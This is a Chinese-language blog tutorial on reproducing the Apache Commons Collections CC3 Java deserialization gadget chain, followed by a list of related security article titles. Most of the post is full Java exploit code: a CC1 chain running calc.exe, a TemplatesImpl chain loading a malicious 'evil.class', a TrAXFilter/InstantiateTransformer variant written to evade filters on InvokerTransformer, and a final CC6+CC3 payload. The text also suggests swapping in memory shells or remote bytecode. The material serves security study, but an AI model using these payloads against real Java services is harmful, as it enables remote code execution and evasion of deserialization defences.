关于cc3复现以及绕过思路

(文章简略许多,可以的话,可以看看之前之前发布的文章)

绕过思路:动态加载字节码绕过Runtime,exec被过滤

在前面两个篇章中我们学习了cc1,cc6和动态加载字节码;

我们都知道ccl链大多都是调用链最终调用到transform函数,在这个函数的构造中我们知道必不可少的部分是反射获取Runtime函数;然后也使用InvokerTransformer函数执行;

如果exec,Runtime.class等函数被ban了呢?

那就不得不引入我么学过的动态加载字节码了;

先看demo;这是cc1的 TransformedMap,触发点是setvalue,使用AnnotationInvocationHandler中的setvalue,和checksetValue;

package org.com.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner; public class CommonCollections3 { public static void main(String[] args) {
//Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

如果这个payload中的InvokerTransformer被ban了,该如何触发

结合之前的动态加载字节码;我们尝试使用TemplatesImpl字节码

只需要将这两个poc拼接一下即可,然后替换反射获取Runtime的部分替换成获取newTransformer即可,完整payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class CommonCollections3 { public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer(); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",new Class[0],new Object[0]), /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

但你会发现在cc3中没有使用 InvokerTransformer

假设过滤了InvokerTransformer,该如何绕过呢?

​ 其实只需要找到其他实现了接口的类即可InvokerTransformer;在ysoserial使用了TrAXFilter;可以看到这里调用了newTransformer()

绕过思路:TrAXFilter绕过 InvokerTransformer

只需要改变Transformer[]为一下代码即可

new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)

由于我们不能用InvokerTransformer调用其构造函数,所以替换使用InstantiateTransformer,在 ChainedTransformer组合多个transform方法时会调用其中的transform方法,返回一个TrAXFilter.class对象;其实这个函数的作用就是调用类的构造方法

完整payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.xml.transform.Templates; public class CommonCollections3 { public static void main(String[] args) throws Exception {
//动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer(); Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
) /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value","value");
Map outtermap = TransformedMap.decorate(innermap,null,transformerChain);
try{
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Retention.class,outtermap);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

但其实这只能是cc1的绕过版;不能解决java版本问题

这里再拼接一下cc6;

进行改进;

最终payload

package org.com.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.map.*; import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javax.xml.transform.Templates; public class CommonCollections3 { public static void main(String[] args) throws Exception { //动态字节码部分
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Hello");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl()); // templates.newTransformer();
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
) /* new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),*/ };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerChain,transformers);
// outtermap.put("1","1"); ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(outputStream);
oss.writeObject(expMap);
oss.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object = objectInputStream.readObject();
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception { Class<?> clazz = obj.getClass();
Field field = null; // 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
} if (field == null) {
throw new NoSuchFieldException(fieldName);
} field.setAccessible(true);
field.set(obj, value);
} }

总结:

绕过Runtime,exec等,这里使用动态加载字节码的形式;

绕过InvokerTransformer 这里使用:TrAXFilter类与InstantiateTransformer获取其构造器;

绕过版本限制,使用cc6+cc3形式;

事实上,针对不同的限制与过滤,可以进行多种多种不同的组合,比如说,命令执行的部分,或许可以替换成注入内存马的形式;

其实到目前为止,我们可以看到,其实反序列化步骤有3个部分;(链式调用)

1.注入

transform链,是要注入的主体,根据需要注入命令,字节码,内存马等我们要注入的恶意"指令";,也许可以利用加载远程的字节码;如RMI等(但字节码可以直接注入的情况下,一般考虑直接注入)

2.触发链

在这个版本(链式调用)中,这部分也可以理解为载荷,用以装载我们的"恶意指令"要利用的大都是调用了transform函数的类;我们,这里需要找到一条调用链进行组装;使其可以最后调用到transform函数;就比如各种cc链中的如LazyMap,TransformedMap等;

3.组合拳绕过

最重要的就是拼接和替换比如上诉例子中就使用了多种拼接进行绕过;动态加载字节码+cc6+TrAXFilter类,InstantiateTransformer绕过InvokerTransformer

最后要发散思维;java的反序列化很自由,可以进行多种组合,最终目的都是加载我们的"恶意指令";

因此我认为在java学习中;利用思维也很重要;这个让我们学会一种漏洞利用的思路,如何进行组装攻击路径;进行利用;

最后,学会独立思考;

----------------------备注--------------------------------

参考:p牛->知识星球->代码审计->java系列文章

关于cc3复现以及绕过思路的更多相关文章

  1. 28.【转载】挖洞技巧:APP手势密码绕过思路总结

    说到APP手势密码绕过的问题,大家可能有些从来没接触过,或者接触过,但是思路也就停留在那几个点上,这里我总结了我这1年来白帽子生涯当中所挖掘的关于这方面的思路,有些是网上已经有的,有些是我自己不断摸索 ...

  2. 记一次APP渗透登录验证绕过思路

    前言: 起初是抓包时候查看返回状态码不一致,所以觉得是否可以通过修改状态码来达到绕过的目的,但是拦截响应包再替换手速不够,技术大哥就去搜了下,找到了一个方法,可以自动替换响应包内容. 在偏下方一点的地 ...

  3. 初识phar反序列化&&复现bytectf_2019_easycms&&RSS思路

    概要 来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞.这个新的攻击方式被他公开在了 ...

  4. UAC绕过思路(未完)

    ---恢复内容开始--- What is UAC?

  5. 关于父进程和子进程的关系(UAC 绕过思路)

    表面上看.在windows中. 假设是a进程创建了b进程,那么a进程就是b进程的父进程.反之,假设是b创建了a,那么b进程就是a的父进程,这是在windows出现以来一直是程序员们都证实的,可是在在w ...

  6. 存储型XSS的发现经历和一点绕过思路

    再次骚扰 某SRC提现额度竟然最低是两千,而已经有750的我不甘心呐,这不得把这2000拿出来嘛. 之后我就疯狂的挖这个站,偶然发现了一个之前没挖出来的点,还有个存储型XSS! 刚开始来到这个之前挖过 ...

  7. 常见WAF绕过思路

    WAF分类 0x01 云waf 在配置云waf时(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云waf进行检测,如果通过再将数据包流给主机. 0x02 ...

  8. JS反爬绕过思路之--谷歌学术镜像网链接抓取

    首先,从问题出发: http://ac.scmor.com/ 在谷歌学术镜像网收集着多个谷歌镜像的链接.我们目标就是要把这些链接拿到手. F12查看源码可以发现,对应的a标签并不是我们想要的链接,而是 ...

  9. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  10. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

随机推荐

  1. 红日复现为什么失败之struct-046流量分析加msf特征总结

    struts2漏洞 一.指纹识别 s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名 部署在根目录下,工程名可 ...

  2. Netty基础—2.网络编程基础二

    大纲 1.网络编程简介 2.BIO网络编程 3.AIO网络编程 4.NIO网络编程之Buffer 5.NIO网络编程之实战 6.NIO网络编程之Reactor模式 1.网络编程简介 既然是通信,那么肯 ...

  3. Qt通过setProperty来达到设置控件的不同样式表

    文章目录 前言 根据不同的属性显示不一样的样式 setProperty Q_PROPERTY和DynamicProperty 前言 最近在做项目的时候,找了一个开源的小控件,发现里面有一个设置样式的骚 ...

  4. JavaScript与jQuery基础入门到放弃

    JavaScript与jQuery基础入门到放弃 引言: - BOM 操作 - DOM 操作 - jQuery 类库 BOM 操作 BOM (Browser Object Model) 指浏览器对象模 ...

  5. 第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛web方向部分wp

    第十八届全国大学生信息安全竞赛暨第二届"长城杯"铁人三项赛web方向部分wp hello_web 查看源代码发现有两个文件,访问一下 Tips是phpinfo 里面可以看到disa ...

  6. Golang入门:协程(goroutine)

    goroutine goroutine 是 Go 的并发模型的核心概念.为了理解 goroutine,我们来定义几个术语.第一个是进程.进程是程序的实例,由计算机的操作系统运行.操作系统将一些资源(如 ...

  7. Golang 入门 : 整型

    整型介绍 Go语言同时提供了有符号和无符号类型的整数运算.这里有 int8.int16.int32 和 int64 四种截然不同大小的有符号整形数类型,分别对应 8.16.32.64 bit大小的有符 ...

  8. Golang 入门 : 语言环境安装

    下载介绍 在go的官方网址上下载go最新版本https://golang.google.cn/dl/,或者在 Go 的中文网上下载https://studygolang.com/dl,两个网站打开的内 ...

  9. CentOS 版本选择DVD、Everything、LiveCD、Minimal、NetInstall

    CentOS 7.X,主要是下载的时候有很多版本供选择,如何选择? DVD版:这个是常用版本,就是普通安装版了,推荐大家安装.里面包含大量的常用软件,大部分情况下安装时无需再在线下载,体积为4G.Ev ...

  10. Momentum Contrast for Unsupervised Visual Representation Learning论文精读

    目录 Birth of MoCo Supervised Learning Contrastive Learning MoCo Dictionary Limits of the early learni ...